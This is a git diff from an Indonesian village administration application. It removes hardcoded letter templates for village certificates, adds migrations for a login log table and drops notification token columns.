        Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan dengan sebenarnya bahwa :

        \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        1.Nama Lengkap:[NAma]
        2.NIK / No. KTP:[Nik]
        3.Tempat / Tanggal Lahir:[TtL]
        4.Jenis Kelamin:[Jenis_kelamin]
        5.

        Alamat / Tempat Tinggal

        :

        [AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]
        6.Agama:[AgAma]
        7.Status:[Status_kawin]
        8.Pendidikan:[Pendidikan_kk]
        9.Pekerjaan:[PeKerjaan]
        10.Keperluan:[Form_keperluan]
        \r\n

        Orang tersebut adalah benar-benar warga [SeButan_desa] [NaMa_desa] dengan data seperti di atas, dari keluarga kurang mampu pemegang Kartu Peserta Jamkesos No. [form_no_kartu_jamkesos].

        \r\n

        Demikian surat keterangan ini dibuat dengan sebenarnya, untuk dipergunakan sebagaimana mestinya.

        \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        [NaMa_desa], [TgL_surat]
        [Atas_namA]




        [Nama_pamonG]
        [SEbutan_nip_desa] : [nip_pamong]
        \r\n

        [qr_code]
        - ", - ], - [ - 'nama' => 'Keterangan Jual Beli', - 'kode_surat' => 'S-05', - 'masa_berlaku' => 1, - 'satuan_masa_berlaku' => 'M', - 'orientasi' => 'Potrait', - 'ukuran' => 'F4', - 'margin' => '{"kiri":1.78,"atas":0.63,"kanan":1.78,"bawah":1.37}', - 'qr_code' => StatusEnum::YA, - 'kode_isian' => '[{"tipe":"text","kode":"[form_jenis_barang]","nama":"Jenis Barang","deskripsi":"Masukkan Jenis Barang","atribut":"class=\"required\""},{"tipe":"text","kode":"[form_rincian_barang]","nama":"Rincian Barang","deskripsi":"Masukkan Rincian Barang","atribut":"class=\"required\""},{"tipe":"text","kode":"[form_identitas_pembeli]","nama":"Identitas Pembeli","deskripsi":"Masukkan Identitas Pembeli","atribut":"class=\"required\""},{"tipe":"text","kode":"[form_nama_pembeli]","nama":"Nama Pembeli","deskripsi":"Masukkan Nama Pembeli","atribut":"class=\"required\""},{"tipe":"text","kode":"[form_tempat_lahir_pembeli]","nama":"Tempat Lahir Pembeli","deskripsi":"Masukkan Tempat Lahir Pembeli","atribut":"class=\"required\""},{"tipe":"date","kode":"[form_tanggal_lahir_pembeli]","nama":"Tanggal Lahir Pembeli","deskripsi":"Masukkan Tanggal Lahir Pembeli","atribut":"class=\"required\""},{"tipe":"text","kode":"[form_jenis_kelamin_pembeli]","nama":"Jenis Kelamin Pembeli","deskripsi":"Masukkan Jenis Kelamin","atribut":"class=\"required\""},{"tipe":"text","kode":"[form_pekerjaan_pembeli]","nama":"Pekerjaan Pembeli","deskripsi":"Masukkan Pekerjaan Pembeli","atribut":"class=\"required\""},{"tipe":"text","kode":"[form_nama_ketua_adat]","nama":"Nama Ketua Adat","deskripsi":"Masukkan Nama Ketua Adat","atribut":"class=\"required\""},{"tipe":"textarea","kode":"[form_alamat_pembeli]","nama":"Alamat Pembeli","deskripsi":"Masukkan Alamat Pembeli","atribut":"class=\"required\""},{"tipe":"textarea","kode":"[form_keterangan]","nama":"Keterangan","deskripsi":"Masukkkan Keterangan","atribut":"class=\"required\""}]', - 'form_isian' => '{"individu":{"sex":"","status_dasar":"1"}}', - 'mandiri' => StatusEnum::YA, - 'syarat_surat' => null, - 'template' => " -

        [JUdul_surat]

        \r\n

        Nomor : [Format_nomor_suraT]

        \r\n

        Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan dengan sebenarnya bahwa :

        \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        1.Nama Lengkap:[NAma]
        2.NIK / No. KTP:[Nik]
        3.Tempat / Tanggal Lahir:[TtL]
        4.Jenis Kelamin:[Jenis_kelamin]
        5.Pekerjaan:[Pekerjaan]
        6.

        Alamat / Tempat Tinggal

        :

        [AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]
        \r\n

        Yang bersangkutan hendak menjual [Form_rincian_barang]. [Form_jenis_barang] tersebut tidak dalam sengketa dengan pihak lain sehingga dapat dijual kepada pihak ke dua yaitu:

        \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        7.Nama Lengkap:[FOrm_nama_pembeli]
        8.Nomor Identitas:[Form_identitas_pembeli]
        9.Tempat / Tanggal Lahir:[Form_tempat_lahir_pembeli], [FoRm_tanggal_lahir_pembeli]
        10.Jenis Kelamin:[Form_jenis_kelamin_pembelI]
        11.Alamat / Tempat Tinggal:[Form_alamat_pembelI]
        12.Pekerjaan:[Form_pekerjaan_pembelI]
        13.Keterangan:[Form_keterangan]
        \r\n

        Demikian surat keterangan ini dibuat dengan sebenarnya agar dapat dipergunakan sebagaimana mestinya.

        \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        Mengetahui, [NaMa_desa], [TgL_surat]
        Ketua Adat [NaMa_desa] [Atas_namA]




        [Form_nama_ketua_adaT] [Nama_pamonG]
        [SEbutan_nip_desa] : [nip_pamong]
        \r\n

        [qr_code]
        - ", - ], - [ - 'nama' => 'Keterangan KTP dalam Proses', - 'kode_surat' => 'S-08', - 'masa_berlaku' => 1, - 'satuan_masa_berlaku' => 'M', - 'orientasi' => 'Potrait', - 'ukuran' => 'F4', - 'margin' => '{"kiri":1.78,"atas":0.63,"kanan":1.78,"bawah":1.37}', - 'qr_code' => StatusEnum::YA, - 'kode_isian' => null, - 'form_isian' => '{"individu":{"sex":"","status_dasar":"1"}}', - 'mandiri' => StatusEnum::YA, - 'syarat_surat' => null, - 'template' => " -

        [JUdul_surat]

        \r\n

        Nomor : [Format_nomor_suraT]

        \r\n

        Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan dengan sebenarnya bahwa :

        \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        1.Nama Lengkap:[NAma]
        2.Tempat / Tanggal Lahir:[TtL]
        3.Jenis Kelamin:[Jenis_kelamin]
        4.

        Alamat / Tempat Tinggal

        :

        [AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]
        5.Agama:[AgAma]
        6.Status:[Status_kawin]
        7.Pekerjaan:[PeKerjaan]
        8.Kewarganegaraan:[WArga_negara]
        \r\n

        Orang tersebut di atas adalah benar-benar warga [SeButan_desa] [NaMa_desa] yang saat ini Kartu Tanda Penduduk sedang dalam proses.

        \r\n

        Demikian surat keterangan ini dibuat dengan sesungguhnya untuk dipergunakan sebagaimana mestinya.

        \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        [NaMa_desa], [TgL_surat]
        [Atas_namA]




        [Nama_pamonG]
        [SEbutan_nip_desa] : [nip_pamong]
        \r\n

        [qr_code]
        - ", - ], - [ - 'nama' => 'Keterangan KTP dalam Proses', - 'kode_surat' => 'S-08', - 'masa_berlaku' => 1, - 'satuan_masa_berlaku' => 'M', - 'orientasi' => 'Potrait', - 'ukuran' => 'F4', - 'margin' => '{"kiri":1.78,"atas":0.63,"kanan":1.78,"bawah":1.37}', - 'qr_code' => StatusEnum::YA, - 'kode_isian' => null, - 'form_isian' => '{"individu":{"sex":"","status_dasar":"1"}}', - 'mandiri' => StatusEnum::YA, - 'syarat_surat' => null, - 'template' => " -

        [JUdul_surat]

        \r\n

        Nomor : [Format_nomor_suraT]

        \r\n

        Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan dengan sebenarnya bahwa :

        \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        1.Nama Lengkap:[NAma]
        2.Tempat / Tanggal Lahir:[TtL]
        3.Jenis Kelamin:[Jenis_kelamin]
        4.

        Alamat / Tempat Tinggal

        :

        [AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]
        5.Agama:[AgAma]
        6.Status:[Status_kawin]
        7.Pekerjaan:[PeKerjaan]
        8.Kewarganegaraan:[WArga_negara]
        \r\n

        Orang tersebut di atas adalah benar-benar warga [SeButan_desa] [NaMa_desa] yang saat ini Kartu Tanda Penduduk sedang dalam proses.

        \r\n

        Demikian surat keterangan ini dibuat dengan sesungguhnya untuk dipergunakan sebagaimana mestinya.

        \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        [NaMa_desa], [TgL_surat]
        [Atas_namA]




        [Nama_pamonG]
        [SEbutan_nip_desa] : [nip_pamong]
        \r\n

        [qr_code]
        - ", - ], - [ - 'nama' => 'Keterangan Kurang Mampu', - 'kode_surat' => 'S-11', - 'masa_berlaku' => 1, - 'satuan_masa_berlaku' => 'M', - 'orientasi' => 'Potrait', - 'ukuran' => 'F4', - 'margin' => '{"kiri":1.78,"atas":0.63,"kanan":1.78,"bawah":1.37}', - 'qr_code' => StatusEnum::YA, - 'kode_isian' => '[{"tipe":"textarea","kode":"[form_keperluan]","nama":"Keperluan","deskripsi":"Masukkan Keperluan","atribut":"class=\"required\""}]', - 'form_isian' => '{"individu":{"sex":"","status_dasar":"1","kk_level":"1"}}', - 'mandiri' => StatusEnum::YA, - 'syarat_surat' => null, - 'template' => " -

        [JUdul_surat]

        \r\n

        Nomor : [Format_nomor_suraT]

        \r\n

        Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan dengan sebenarnya bahwa :

        \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        1.Nama Lengkap:[NAma]
        2.ID BDT:[Id_bdT]
        3.No. KTP:[Nik]
        4.Tempat / Tanggal Lahir:[Ttl]
        5.Jenis Kelamin:[Jenis_kelamin]
        6.Kewarganegaraan:[WArga_negara]
        7.Agama:[AgAma]
        8.Pekerjaan:[PeKerjaan]
        7.

        Alamat / Tempat Tinggal

        :

        [AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]
        \r\n

        Bahwa yang tersebut namanya di atas, sepanjang pengetahuan dan penelitian kami hingga saat dikeluarkannya surat keterangan ini memang benar Keluarga yang KURANG MAMPU dan tidak memiliki pengahasilan tetap.

        \r\n

        DAFTAR TANGGUNGAN KELUARGA

        \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        NO.NIKNAMAL / PTEMPAT TANGGAL LAHIRSHDK
        [KLg1_no][KLg1_nik][KLg1_nama][KLg1_jenis_kelamin][KLg1_ttl][KLg1_hubungan_kk]
        [KLg2_no][KLg2_nik][KLg2_nama][KLg2_jenis_kelamin][KLg2_ttl][KLg2_hubungan_kk]
        [KLg3_no][KLg3_nik][KLg3_nama][KLg3_jenis_kelamin][KLg3_ttl][KLg3_hubungan_kk]
        [KLg4_no][KLg4_nik][KLg4_nama][KLg4_jenis_kelamin][KLg4_ttl][KLg4_hubungan_kk]
        [KLg5_no][KLg5_nik][KLg5_nama][KLg5_jenis_kelamin][KLg5_ttl][KLg5_hubungan_kk]
        [KLg6_no][KLg6_nik][KLg6_nama][KLg6_jenis_kelamin][KLg6_ttl][KLg6_hubungan_kk]
        [KLg7_no][KLg7_nik][KLg7_nama][KLg7_jenis_kelamin][KLg7_ttl][KLg7_hubungan_kk]
        \r\n

        Surat Keterangan ini dibuat untuk keperluan : [Form_keperluaN]

        \r\n

        Demikian surat keterangan ini dibuat dengan sebenarnya, untuk dapat dipergunakan sebagaimana mestinya.

        \r\n

        \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        [NaMa_desa], [TgL_surat]
        Pemegang Surat [Atas_nama]




        [NAma] [Nama_pamonG]
        [SEbutan_nip_desa] : [nip_pamong]
        \r\n

        [qr_code]
        - ", - ], - [ - 'nama' => 'Keterangan Beda Identitas', - 'kode_surat' => '471.1', - 'masa_berlaku' => 1, - 'satuan_masa_berlaku' => 'M', - 'orientasi' => 'Potrait', - 'ukuran' => 'F4', - 'margin' => '{"kiri":1.78,"atas":0.63,"kanan":1.78,"bawah":1.37}', - 'qr_code' => StatusEnum::YA, - 'kode_isian' => '[{"tipe":"text","kode":"[form_kartu]","nama":"Kartu","deskripsi":"Masukkan Identitas dalam (nama kartu)","atribut":"class=\"required\""},{"tipe":"text","kode":"[form_no_identitas]","nama":"No Identitas","deskripsi":"Masukkan Nomer Identitas","atribut":"class=\"required\""},{"tipe":"text","kode":"[form_nama]","nama":"Nama","deskripsi":"Masukkan Nama","atribut":"class=\"required\""},{"tipe":"text","kode":"[form_tempat_lahir]","nama":"Tempat Lahir","deskripsi":"Masukkan Tempat Lahir","atribut":"class=\"required\""},{"tipe":"date","kode":"[form_tanggal_lahir]","nama":"Tanggal Lahir","deskripsi":"Masukkan Tanggal Lahir","atribut":"class=\"required\""},{"tipe":"textarea","kode":"[form_alamat_tempat_tinggal]","nama":"Alamat \/ Tempat Tinggal","deskripsi":"Masukkan Alamat \/ Tempat Tinggal","atribut":"class=\"required\""},{"tipe":"text","kode":"[form_jenis_kelamin]","nama":"Jenis Kelamin","deskripsi":"Masukkan Jenis Kelamin","atribut":"class=\"required\""},{"tipe":"text","kode":"[form_agama]","nama":"Agama","deskripsi":"Masukkan Agama","atribut":"class=\"required\""},{"tipe":"text","kode":"[form_pekerjaan]","nama":"Pekerjaan","deskripsi":"Masukkan Pekerjaan","atribut":"class=\"required\""},{"tipe":"textarea","kode":"[form_perbedaan]","nama":"Perbedaan","deskripsi":"Masukkan Perbedaan","atribut":"class=\"required\""},{"tipe":"textarea","kode":"[form_keterangan]","nama":"Keterangan","deskripsi":"Masukkan Keterangan","atribut":"class=\"required\""}]', - 'form_isian' => '{"individu":{"sex":"","status_dasar":"1","kk_level":""}}', - 'mandiri' => StatusEnum::TIDAK, - 'syarat_surat' => null, - 'template' => " -

        [JUdul_surat]

        \r\n

        Nomor : [Format_nomor_suraT]

        \r\n

        Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan dengan sebenarnya bahwa :

        \r\n

        I. Identitas dalam KK

        \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        1.Nama Lengkap:[NAma]
        2.Tempat / Tanggal Lahir:[TtL]
        3..Agama:[AgAma]
        4.Jenis Kelamin:[Jenis_kelamin]
        5.Pekerjaan:[PeKerjaan]
        6.

        Alamat / Tempat Tinggal

        :

        [AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]
        \r\n

        Ii. Identitas dalam [Form_kartU]

        \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        7.No. Identitas:[Form_no_identitaS]
        8.Nama:[Form_namA]
        9.Tempat / Tanggal Lahir:[Form_tempat_lahiR], [Form_tanggal_lahiR]
        10.Jenis Kelamin:[Form_jenis_kelamiN]
        11.Alamat / Tempat Tinggal:[Form_alamat_tempat_tinggaL]
        12.Agama:[Form_agamA]
        13.Pekerjaan:[Form_pekerjaaN]
        14.Keterangan:[Form_keterangaN]
        \r\n

        Adalah benar-benar warga [SeButan_desa] [NaMa_desa] dan merupakan orang yang sama namun terdapat perbedaan [Form_perbedaaN] seperti tersebut di atas. Adapun data yang benar dan dipakai seperti yang tercantum di Kartu Keluarga (KK).

        \r\n

        Demikian surat ini dibuat untuk dipergunakan sebagaimana mestinya.

        \r\n

        \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        [NaMa_desa], [TgL_surat]
        [Atas_namA]




        [Nama_pamonG]
        [SEbutan_nip_desa] : [nip_pamong]
        \r\n

        [qr_code]
        - ", - ], - [ - 'nama' => 'Keterangan Wali Hakim', - 'kode_surat' => 'S-32', - 'masa_berlaku' => 1, - 'satuan_masa_berlaku' => 'M', - 'orientasi' => 'Potrait', - 'ukuran' => 'F4', - 'margin' => '{"kiri":1.78,"atas":0.63,"kanan":1.78,"bawah":1.37}', - 'qr_code' => StatusEnum::YA, - 'kode_isian' => null, - 'form_isian' => '{"individu":{"sex":"","status_dasar":"1"}}', - 'mandiri' => StatusEnum::TIDAK, - 'syarat_surat' => null, - 'template' => " -

        [JUdul_surat]

        \r\n

        Nomor : [Format_nomor_suraT]

        \r\n

        Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan dengan sebenarnya bahwa :

        \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        1.Nama Lengkap:[NAma]
        2.NIK / No. KTP:[Nik]
        3.Tempat / Tanggal Lahir:[TtL]
        4.Jenis Kelamin:[Jenis_kelamin]
        5.

        Alamat / Tempat Tinggal

        :

        [AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]
        6.Agama:[AgAma]
        7.Pekerjaan:[PeKerjaan]
        8.Kewarganegaraan:[WArga_negara]
        \r\n

        Yang namanya tersebut di atas memang benar warga kami yang akan menikah di KUA [NaMa_kecamatan] [SeButan_kabupaten] [NaMa_kabupaten]. Berhubung orang tersebut tidak memiliki Wali Nasab, kami mohon dengan hotmat Bapak Kepala KUA [NaMa_kecamatan] supaya berkenan menjadi Wali.

        \r\n

        Demikian surat keterangan ini dibuat dengan sebenarnya untuk dapat dipergunakan sebagaimana mestinya.

        \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        [NaMa_desa], [TgL_surat]
        [Atas_namA]




        [Nama_pamonG]
        [SEbutan_nip_desa] : [nip_pamong]
        \r\n

        [qr_code]
        - ", - ], - [ - 'nama' => 'Pengantar Surat Keterangan Catatan Kepolisian', - 'kode_surat' => 'S-07', - 'masa_berlaku' => 1, - 'satuan_masa_berlaku' => 'M', - 'orientasi' => 'Potrait', - 'ukuran' => 'F4', - 'margin' => '{"kiri":1.78,"atas":0.63,"kanan":1.78,"bawah":1.37}', - 'qr_code' => StatusEnum::YA, - 'kode_isian' => '[{"tipe":"textarea","kode":"[form_keterangan]","nama":"Keterangan","deskripsi":"Masukkan Keterangan","atribut":"class=\"required\""}]', - 'form_isian' => '{"individu":{"sex":"","status_dasar":"1"}}', - 'mandiri' => StatusEnum::YA, - 'syarat_surat' => null, - 'template' => " -

        [JUdul_surat]

        \r\n

        Nomor : [Format_nomor_suraT]

        \r\n

        Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan dengan sebenarnya bahwa :

        \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        1.Nama Lengkap:[NAma]
        2.NIK / No. KTP:[Nik]
        3.No. KK:[No_kk]
        4.Kepala Keluarga:[Kepala_kk]
        5.Tempat / Tanggal Lahir:[TtL]
        6.Agama:[AgAma]
        7.Jenis Kelamin:[Jenis_kelamin]
        8.

        Alamat / Tempat Tinggal

        :

        [AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]
        9.Status:[Status_kawin]
        10.Pendidikan:[Pendidikan_kk]
        11.Pekerjaan:[PeKerjaan]
        12.Kewarganegaraan:[WArga_negara]
        13.Keperluan:Sebagai pengantar untuk mendapatkan SKCK yang dipergunakan untuk [Form_keterangan].
        \r\n

        Orang tersebut di atas adalah benar-benar warga [Sebutan_desa] [NaMa_desa] dan menurut data kami tidak pernah terlibat perkara Polisi dan beradat istiadat baik.

        \r\n

        Demikian surat keterangan ini dibuat dengan sesungguhnya untuk dipergunakan sebagaimana mestinya.

        \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        [NaMa_desa], [TgL_surat]
        [Atas_namA]




        [Nama_pamonG]
        [SEbutan_nip_desa] : [nip_pamong]
        \r\n

        [qr_code]
        - ", - ], - ]; - + $uratTinyMCE = getSuratBawaanTinyMCE()->toArray(); + foreach ($uratTinyMCE as $key => $value) { $hasil = $hasil && $this->tambah_surat_tinymce($value); } diff --git a/donjo-app/models/migrations/Migrasi_fitur_premium_2312.php b/donjo-app/models/migrations/Migrasi_fitur_premium_2312.php index e1991b6f0..c8474e812 100644 --- a/donjo-app/models/migrations/Migrasi_fitur_premium_2312.php +++ b/donjo-app/models/migrations/Migrasi_fitur_premium_2312.php @@ -65,8 +65,10 @@ protected function migrasi_tabel($hasil) $hasil = $hasil && $this->migrasi_2023114951($hasil); $hasil = $hasil && $this->migrasi_2023110771($hasil); + $hasil = $hasil && $this->migrasi_2023111571($hasil); + $hasil = $hasil && $this->migrasi_2023111751($hasil); - return $hasil && $this->migrasi_2023111571($hasil); + return $hasil && $this->migrasi_2023112251($hasil); } // Migrasi perubahan data @@ -291,4 +293,41 @@ protected function migrasi_2023111571($hasil) return $hasil; } + + protected function migrasi_2023111751($hasil) + { + if (! Schema::hasTable('log_login')) { + Schema::create('log_login', static function (Blueprint $table) { + $table->uuid('uuid')->primary(); + $table->integer('config_id'); + $table->string('username'); + $table->string('ip_address'); + $table->string('user_agent'); + $table->string('referer'); + $table->string('lainnya')->nullable(); + $table->timestamps(); + $table->unique(['uuid', 'config_id']); + $table->foreign('config_id')->references('id')->on('config')->onUpdate('cascade')->onDelete('cascade'); + }); + } + + return $hasil; + } + + protected function migrasi_2023112251($hasil) + { + if (Schema::hasColumn('log_notifikasi_admin', 'token')) { + Schema::table('log_notifikasi_admin', static function (Blueprint $table) { + $table->dropColumn('token'); + }); + } + + if (Schema::hasColumn('log_notifikasi_admin', 'device')) { + Schema::table('log_notifikasi_admin', static function (Blueprint $table) { + $table->dropColumn('device'); + }); + } + + return $hasil; + } } diff --git a/donjo-app/models/migrations/Migrasi_jalan.php b/donjo-app/models/migrations/Migrasi_jalan.php index 26ceca2a7..b47041a16 100644 --- a/donjo-app/models/migrations/Migrasi_jalan.php +++ b/donjo-app/models/migrations/Migrasi_jalan.php @@ -1,5 +1,42 @@ ekspor_model->perbaiki_collation(); + // perbarui surat lama tanpa mengubah data desa + $config_id = DB::table('config')->pluck('id')->toArray(); + $uratTinyMCE = getSuratBawaanTinyMCE()->toArray(); + + foreach ($uratTinyMCE as $key => $value) { + foreach ($config_id as $id) { + $hasil = $hasil && $this->tambah_surat_tinymce($value, $id); + } + } + return $hasil; } } diff --git a/donjo-app/views/pengaduan_admin/index.php b/donjo-app/views/pengaduan_admin/index.php deleted file mode 100644 index f06d678b3..000000000 --- a/donjo-app/views/pengaduan_admin/index.php +++ /dev/null @@ -1,134 +0,0 @@ -
        -
        -

        - PENGADUAN - Daftar Data -

        - -
        -
        - load->view("{$this->controller}/navigasi", $navigasi); ?> -
        -
        - -
        -
        -
        -
        - -
        -
        -
        -
        -
        - - - - - - - - - - - - -
        NoAksiNamaJudulTanggalStatus
        -
        -
        -
        -
        -
        -
